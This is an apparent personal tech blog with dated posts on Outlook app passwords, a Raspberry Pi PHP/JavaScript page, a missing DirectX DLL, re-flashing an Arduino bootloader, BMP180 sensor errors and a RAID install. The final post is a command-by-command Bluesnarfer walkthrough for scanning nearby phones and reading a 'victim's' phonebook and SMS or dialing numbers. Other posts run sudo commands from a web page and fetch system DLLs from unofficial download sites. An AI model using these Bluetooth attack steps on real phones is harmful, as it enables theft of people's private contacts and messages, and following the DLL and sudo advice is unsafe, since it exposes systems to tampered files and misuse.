Pages

Saturday, 30 June 2018

MS Outlook asking for Gmail password

While configuring Outlook to deal with my Gmail content I got stuck with password prompt. After doing some reserach I realized that I must set up another password for Outlook in Google Account settings.

1. First we need to go to Sign-in & security
2. I signing in to Google select App passwords.
3. From dropdown boxes pick mail and windows, then GENERATE button will activate.
4. Our new password will be shown on yellow rectangle.








Sunday, 17 June 2018

Call php script from javascript

The idea is to create web interface for raspberry pi. I want to reload only certain elements of the http page and have possibility to execute linux commands. For example if I want to check CPU temperature I use vcgencmd measure_temp. I put this into php script and print complete javascript.

Below is my code: 

<?php
$result = exec ('sudo vcgencmd measure_temp'); 
$tempOnly = substr($result,5);  
?>

function rpiTemp()
{
        var example = <?php echo '"' . $tempOnly . '"'; ?>;
        alert(example);

}



In <head> block I include script with following:

<script type="text/javascript" src="http://raspberrypi/check_cpu_temp.php"></script>

And call it in <body> section with a button:

<input type="submit" value="Check CPU Temperature" onclick="rpiTemp()"/>


Sunday, 13 May 2018

Windows missing xapofx1_5.dll (including no sound)

I tried to play Ashes of the Singularity: Escalation however my Windows 10 laptop complained about missing file xapofx1_5.dll. All tutorials positioned high on google advised to download this dll from internet and all should be fine. So I went to https://www.dll-files.com and downloaded the dll. I copied it to C:\Windows\System32 then started the game and it started... without sound. After going through multiple pages I figured out that DirectX has to be installed. Below are the steps:


  1. Download xapofx1_5.dll from https://www.dll-files.com (In my case x64)
  2. Extract dll file from the downloaded zip to C:\Windows\System32.
  3. Download DirectX End-User Runtime Web Installer (Can use this link too http://zipansion.com/b1sM)
  4. Install DirectX and start the game.

Sunday, 25 February 2018

Arduino Leonardo not recognized USB device, flash bootloader with Raspberry Pi

While flashing new program to Arduino Leonardo usb cable got disconnected which aparently bricked it. Windows no longer was able to recognize it. I found out that bootloader was broken which can be easily flashed using another Arduino. I have also Arduino Mini Pro but unfortunatelly there is no tutorial how to use it to recover Leonardo. After multiple attempts I came to the conclusion that it is not possible to use Arduino Mini Pro for this.

I tried with Raspberry Pi then. I used tutorial from here but it didn't really cover the whole process. What I did was:


1. Install avrdude

sudo apt-get update
sudo apt-get install avrdude

2. Connect the wires:

Arduino ICSP VCC to Raspberry Pi 5 volt pin.
Arduino ICSP GND to Raspberry Pi ground pin.
Arduino ICSP RESET to Raspberry Pi GPIO #12.
Arduino ICSP SCK to Raspberry Pi GPIO #24.
Arduino ICSP MOSI to Raspberry Pi GPIO #23.
Arduino ICSP MISO to Raspberry Pi GPIO #18.


3. Prepare configuration file (I used leafpad to edit it):

cp /etc/avrdude.conf /etc/avrdude_gpio.conf
leafpad /etc/avrdude_gpio.conf

4. At the end of avrdude_gpio.conf I added below lines:

# Linux GPIO configuration for avrdude.
# Change the lines below to the GPIO pins connected to the AVR.
programmer
id = "pi_1";
desc = "Use the Linux sysfs interface to bitbang GPIO lines";
type = "linuxgpio";
reset = 12;
sck = 24;
mosi = 23;
miso = 18;
;

5. Now we need hex file with bootloader. The tutorial says to use what was compiled in IDE however it didn't work for me. I used generic bootloader from file sparkfunboards.1.1.9.tar.bz2 downloaded from this link.

6. Inside that archive I went to \avr-1.1.9\bootloaders\caterina\ and copied Caterina.hex to Raspberry Pi.

7. Check if can connect:

avrdude -p atmega328p -C ~/avrdude_gpio.conf -c pi_1 -v


8. Flash bootloader with below command:

avrdude -p m32u4 -C /etc/avrdude_gpio.conf -c pi_1 -v -U flash:w:Caterina.hex:i

Output was following:

avrdude: Version 6.3 Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/ Copyright (c) 2007-2014 Joerg Wunsch System wide configuration file is "/etc/avrdude_gpio.conf" User configuration file is "/root/.avrduderc" User configuration file does not exist or is not a regular file, skipping Using Port : unknown Using Programmer : pi_1 AVR Part : ATmega32U4 Chip Erase delay : 9000 us PAGEL : PD7 BS2 : PA0 RESET disposition : dedicated RETRY pulse : SCK serial program mode : yes parallel program mode : yes Timeout : 200 StabDelay : 100 CmdexeDelay : 25 SyncLoops : 32 ByteDelay : 0 PollIndex : 3 PollValue : 0x53 Memory Detail : Block Poll Page Polled Memory Type Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack ----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- --------- eeprom 65 20 4 0 no 1024 4 0 9000 9000 0x00 0x00 flash 65 6 128 0 yes 32768 128 256 4500 4500 0x00 0x00 lfuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00 hfuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00 efuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00 lock 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00 calibration 0 0 0 0 no 1 0 0 0 0 0x00 0x00 signature 0 0 0 0 no 3 0 0 0 0 0x00 0x00 Programmer Type : linuxgpio Description : Use the Linux sysfs interface to bitbang GPIO lines Pin assignment : /sys/class/gpio/gpio{n} RESET = 12 SCK = 24 MOSI = 23 MISO = 18 avrdude: AVR device initialized and ready to accept instructions Reading | ################################################## | 100% 0.00s avrdude: Device signature = 0x1e9587 (probably m32u4) avrdude: safemode: hfuse reads as D8 avrdude: safemode: efuse reads as CB avrdude: NOTE: "flash" memory has been specified, an erase cycle will be performed To disable this feature, specify the -D option. avrdude: erasing chip avrdude: reading input file "Caterina.hex" avrdude: writing flash (32762 bytes): Writing | ################################################## | 100% 2.31s avrdude: 32762 bytes of flash written avrdude: verifying flash memory against Caterina.hex: avrdude: load data flash data from input file Caterina.hex: avrdude: input file Caterina.hex contains 32762 bytes avrdude: reading on-chip flash data: Reading | ################################################## | 100% 2.11s avrdude: verifying ... avrdude: 32762 bytes of flash verified avrdude: safemode: hfuse reads as D8 avrdude: safemode: efuse reads as CB avrdude: safemode: Fuses OK (E:CB, H:D8, L:FF) avrdude done. Thank you.


After that my Arduino Leonardo was recognized by Windows and successfully flashed test blink program.

Saturday, 10 February 2018

Raspberry pi 3 issues with BMP180

Recently I connected BMP180 BARO to Arduino and it worked fine. I tried to connect it to Raspberry pi 3 and I got whole bunch of errors. I tried to use those libraries:


https://github.com/xtacocorex/Adafruit_Python_GPIO
https://github.com/adafruit/Adafruit_Python_BMP

I was using multiple samples but still following errors were occuring:

pi@raspberrypi:~/pi $ python BMP180.py
Traceback (most recent call last):
  File "BMP180.py", line 3, in <module>
    sensor = BMP085.BMP085(busnum=2)
  File "build/bdist.linux-armv7l/egg/Adafruit_BMP/BMP085.py", line 67, in __init__
  File "build/bdist.linux-armv7l/egg/Adafruit_GPIO/I2C.py", line 65, in get_i2c_device
  File "build/bdist.linux-armv7l/egg/Adafruit_GPIO/I2C.py", line 98, in __init__
  File "build/bdist.linux-armv7l/egg/Adafruit_PureIO/smbus.py", line 97, in __init__
  File "build/bdist.linux-armv7l/egg/Adafruit_PureIO/smbus.py", line 122, in open
IOError: [Errno 2] No such file or directory: '/dev/i2c-2'

Or:

Traceback (most recent call last):
  File "B180.py", line 24, in <module>
    print('Pressure = {0:0.2f} Pa'.format(sensor.read_pressure()))
  File "build/bdist.linux-armv7l/egg/Adafruit_BMP/BMP085.py", line 152, in read_pressure
  File "build/bdist.linux-armv7l/egg/Adafruit_BMP/BMP085.py", line 129, in read_raw_pressure
  File "build/bdist.linux-armv7l/egg/Adafruit_GPIO/I2C.py", line 149, in readU8
  File "build/bdist.linux-armv7l/egg/Adafruit_PureIO/smbus.py", line 155, in read_byte_data

Or this:

pi@raspberrypi:~/pi $ python bMP180.py 
Traceback (most recent call last):
  File "bMP180.py", line 1, in <module>
    from tentacle_pi.BMP180 import BMP180
ImportError: /usr/local/lib/python2.7/dist-packages/tentacle_pi/BMP180.so: undefined symbol: i2c_smbus_write_byte_data

I finally figured out that in sensor definition brackets were required. So below code is working now.

import Adafruit_BMP.BMP085 as BMP085
sensor = BMP085.BMP085()
print('Temp = {0:0.2f} *C'.format(sensor.read_temperature()))
print('Pressure = {0:0.2f} Pa'.format(sensor.read_pressure()))
print('Altitude = {0:0.2f} m'.format(sensor.read_altitude()))
print('Sealevel Pressure = {0:0.2f} Pa'.format(sensor.read_sealevel_pressure()))

Adding brackets fixed code of every other sample that I used before.

Sunday, 12 November 2017

Asus G752 install windows on RAID 0 with Samsung 960 EVO

Setting up RAID 0 on a laptop ASUS ROG G752 VM with two disks Samsung 250GB 1,8'' series 960 EVO M.2 2280 NVMe.

1. Write windows isnstallation to USB drive using GPT for UEFI format.
2. Copy Intel RAID drivers on second USB drive.
2. Disconnect other disks.
3. Change BIOS to RAID.
4. Setup the volume as on the video.




5. Run the installer.
6. Load drivers.
7. Install windows.
8. Attach other disks.

Saturday, 21 October 2017

Bluesnarfer bluetooth hacking or penetration testing from raspberry pi

Recently I noticed that bluesnarfer can be used for hacking mobile phones. That should be a reason enough to keep bluetooth disabled. So I tried to hack my phone. The tutorials I found on internet were containing errors. Below steps worked for me:

Go to /opt with:
cd /opt

Get Bluesnarfer using the wget command: 
wget http://alighieri.org/tools/bluesnarfer.tar.gz

Extract it with the simple tar xvf command: 
tar xvf bluesnarfer.tar.gz

Open extracted folder and check content:

cd bluesnarfer
ls

This needs to be compiled: make

This resulted in an error on my unit:
fatal error: bluetooth/bluetooth.h: No such file or directory
 #include <bluetooth/bluetooth.h>

If this error occurs that means you need to install libbluetooth-dev
apt-get install libbluetooth-dev

After it is compiled see check Bluesnarfer commands with this command ./bluesnarfer

Now that we have Bluesnarfer, you must configure rfcomm first, if you haven't already done that:
mkdir -p /dev/bluetooth/rfcomm
mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0
mknod --mode=666 /dev/rfcomm0 c 216 0

hciconfig hci0 up
hciconfig hci0

Scan for target devices:
hcitool scan hci0

Ping the target to see if it is awake:
l2ping  <victim mac addr>

Browse the target for rfcomm channels to connect to:
sdptool browse --tree --l2cap <mac addr>

Now you can use Bluesnarfer for example to read the victims phonebook, dial a number or read sms or other things:

./bluesnarfer -r 1-100 -C 7 -b <mac addr>

See available opions with:
./bluesnarfer -h

Dial number: 
./bluesnarfer-m < victim name > -c 7 -a < mac addr > Dial < number >